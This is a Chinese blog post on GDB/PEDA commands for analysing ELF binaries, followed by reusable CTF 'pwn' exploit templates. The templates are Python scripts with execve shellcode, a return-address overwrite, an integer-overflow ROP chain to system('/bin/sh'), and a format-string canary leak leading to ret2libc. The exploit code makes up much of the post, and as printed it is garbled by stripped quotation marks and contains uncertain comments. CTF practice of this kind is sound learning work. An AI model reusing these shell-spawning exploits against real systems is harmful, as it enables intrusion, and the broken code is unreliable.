GDB分析ELF文件常用的调试技巧

GDB分析ELF文件常用的调试技巧

gdb常用命令

首先是gbd+文件名 静态调试 ,gdb attach +文件名 动态调试

为了方便查看堆栈和寄存器 最好是安装peda插件

安装

可以通过pip直接安装,也可以从github上下载安装

$ pip install peda

$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit 

命令

  • aslr – 显示/设定GDB的ASLR(地址空间配置随机加载)设置 
    技术分享

  • checksec – 检查二进制文件的各种安全选项 
    技术分享

  • dumpargs – 函数将要被调用时,显示将要被传入函数的所有参数(默认会在反汇编代码下方自动显示)

  • dumprop – 在给定内存范围中Dump出所有ROP gadgets 
    技术分享

  • elfheader – Get headers information from debugged ELF file

  • elfsymbol – 获取non-debugging symbol信息(plt表) 
    技术分享

  • lookup – Search for all addresses/references to addresses which belong to a memory range

  • patch – Patch memory start at an address with string/hexstring/int

  • pattern – 生成字符串模板 写入内存 用于定位溢出点

    • pattern create size 生成特定长度字符串
    • pattern offset value 定位字符串 
      技术分享
  • procinfo – Display various info from /proc/pid/

  • pshow – Show various PEDA options and other settings

  • pset – Set various PEDA options and other settings

  • readelf – 获取elf头信息 
    技术分享

  • ropgadget – Get common ROP gadgets of binary or library 
    技术分享

  • ropsearch – Search for ROP gadgets in memory

  • searchmem|find – 在内存中查找字符串,支持正则表达式 
    技术分享

  • shellcode – 生成shellcode 
    技术分享

  • skeleton – Generate python exploit code template

  • vmmap – 可以用来查看栈、bss段是否可以执行 
    技术分享

  • xormem – XOR a memory region with a key

更多详细用法请参考官方帮助文档

技术分享

 

1. checksec 查看elf编译的保护选项。

2. file [file] 加载objfile

3. disas addr 对地址addr处的指令进行反汇编,addr可以是函数名

4. b *addr 在addr处下一个断点

5. x addr 查看addr处存储的数据值

6. r 运行被调试的程序

7. c 继续运行

8. ni 单步执行不进入

9. si 单步执行并进入

10.vmmap 得到虚拟映射地址

 

PWN题常用模板

单个发送(pwn库)

1 #coding=utf-8   #中文乱码
2 from zio import *
3 Thread = zio((./pwn))  #执行同目录下的pwn
4 Thread = write(a*64+\x00\x00\x00\x01)  #输入我们的payload
5 Thread = interact()
6 //p32(Address) 把32位地址 写成0x形式  同理64位的也是

 

ZIO库

 1 from zio import *
 2 from pwn import *
 3 Thread = zio((./pwn))
 4 #shellcode1=‘\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05‘
 5 shellcode=\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50
 6 TargetAddress = 0x000000000040066E
 7 Length = len(shellcode)
 8 payload = shellcode+\x90*(72-Length)+p64(TargetAddress)
 9 Thread.write(payload)
10 Thread.interact()
11  

pwn库 有消息接收和判断的


 1 from pwn import *
 2 Shellcode=a*112+\x5D\x86\x04\x08
 3 Target=process(./pwn)
 4 Target.sendline(Shellcode)
 5 Target.recvuntil(:$)
 6 #context.terminal = [‘gnome-terminal‘,‘-x‘,‘sh‘,‘-c‘]
 7 #gdb.attach(proc.pidof(Target)[0])
 8 Target.sendline(zhimakaimen)
 9 Target.interactive()
10  
11  

 

整数溢出型

 1 from pwn import *
 2 
 3 #r = remote(‘127.0.0.1‘, 9527)
 4 r = process(./pwn3)
 5 r.recvuntil(name \n)
 6 r.sendline(123)
 7 #raw_input(‘debug‘
 8 ##构造结构可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。
 9 ?
10 #下面开始构造
11 r.recvuntil(index\n)
12 #-2147483648  -->0x80000000 *4后溢出为0
13 context.terminal = [gnome-terminal,-x,sh,-c] 
14 gdb.attach(proc.pidof(p)[0])
15 r.sendline(str(-2147483648 + 14))  #ebp+4的地址处  就是Return函数的地址  现在是一处地址一处值  1
16 r.recvuntil(value\n)
17 r.sendline(str(int(8048470, 16)))  #jmp  scanf
18 r.recvuntil(index\n)
19 r.sendline(str(-2147483648 + 15))   #ebp+8
20 r.recvuntil(value\n)
21 r.sendline(str(int(0x080487de, 16)))  # pop     edi
22 r.recvuntil(index\n)
23 r.sendline(str(-2147483648 + 16))  
24 r.recvuntil(value\n) 
25 r.sendline(str(int(804884b,16)))  #0804884B a9s      db ‘%9s‘,0 
26 r.recvuntil(index\n)
27 r.sendline(str(-2147483648 + 17))  
28 r.recvuntil(value\n)
29 r.sendline(str(int(804a030, 16)))  #0804A030 __data_star  804a030 是GOT表的结尾
30 r.recvuntil(index\n)
31 r.sendline(str(-2147483648 + 18))
32 r.recvuntil(value\n)
33 r.sendline(str(int(8048420, 16))) #system  #jmp to system
34 r.recvuntil(index\n) 
35 r.sendline(str(-2147483648 + 19))
36 r.recvuntil(value\n)
37 r.sendline(str(int(804a030, 16)))  #0804A030 __data_start    db    0 
38 r.recvuntil(index\n)
39 r.sendline(str(-2147483648 + 20))
40 r.recvuntil(value\n)
41 r.sendline(str(int(804a030, 16)))  #0804A030 __data_start    db    0 
42 r.recvuntil(index\n)
43 r.sendline(str(-2147483648 + 21))
44 r.recvuntil(value\n)
45 r.sendline(str(int(8048420, 16)))  ##system  #jmp to system
46 r.recvuntil(index\n)
47 r.sendline(str(-2147483648 + 22))
48 r.recvuntil(value\n)
49 r.sendline(str(int(8048420, 16)))  ##system  #jmp to system
50 r.recvuntil(index\n)  #相当与让代码结束 执行ret从而执行到我们的流程
51 r.sendline(-1)
52 r.recvuntil(value\n)
53 r.sendline(10)
54 r.recvuntil(0 0 0 0 0 0 0 0 0 0 )
55 r.sendline(/bin/sh)
56 r.interactive()

 

 
 

格式化字符串

 1 from pwn import *
 2 libc=ELF(/lib/i386-linux-gnu/i686/cmov/libc.so.6)
 3 p=process("./pwn2")
 4 context.terminal = [gnome-terminal,-x,sh,-c] 
 5 gdb.attach(proc.pidof(p)[0])       
 6 p.recvuntil(name:)
 7 p.sendline(%p.*40)     #输出字符串 
 8 leak_data=p.recvuntil(messages:)
 9 address=leak_data.split(.)            #将输出的地址分组 然后进行分组
10 canary=int(address[30],16)     #这里为什么是 第30个
11 stack_addr=int(address[33],16)-0x90+0x8+0x8   #这里也不懂
12 put_addr=int(address[22],16)-0x144                  
13 system_addr=put_addr-(libc.symbols[puts]-libc.symbols[system])
14 ?
15 payload =a*100+p32(canary)+a*12+p32(system_addr)+bbbb+p32(stack_addr)+/bin/sh\x00
16 ?
17 p.sendline(payload)
18 ?
19 p.interactive()

 

  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值